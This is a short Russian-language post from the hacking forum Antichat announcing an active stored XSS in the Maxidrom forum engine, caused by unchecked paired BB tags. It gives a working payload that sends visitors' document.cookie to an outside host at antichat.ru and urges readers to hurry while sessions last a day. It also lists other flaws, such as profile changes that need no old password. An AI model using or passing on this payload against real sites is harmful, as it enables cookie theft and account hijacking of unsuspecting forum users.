Форум АНТИЧАТ - Показать сообщение отдельно

Обнаружена активная хсс в движке Максидрома. Нет проверки спаренных ВВ-тегов:

PHP код:


		
			
re@re.com ' style='background:url(javascript:document.images.src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)'

В опере не пашет, в FF не проверял.
Время сессии - сутки. Торопитесь =]

Пара коментов:
- отутствеует всякая проверка на регистрацию
- отсутствует ретрив пароля на мыло(если забыл - твои проблемы)
- можно сменить ЛЮБЫЕ данные в профиле БЕЗ ввода старого пароля, для смены пароля нужно знать старый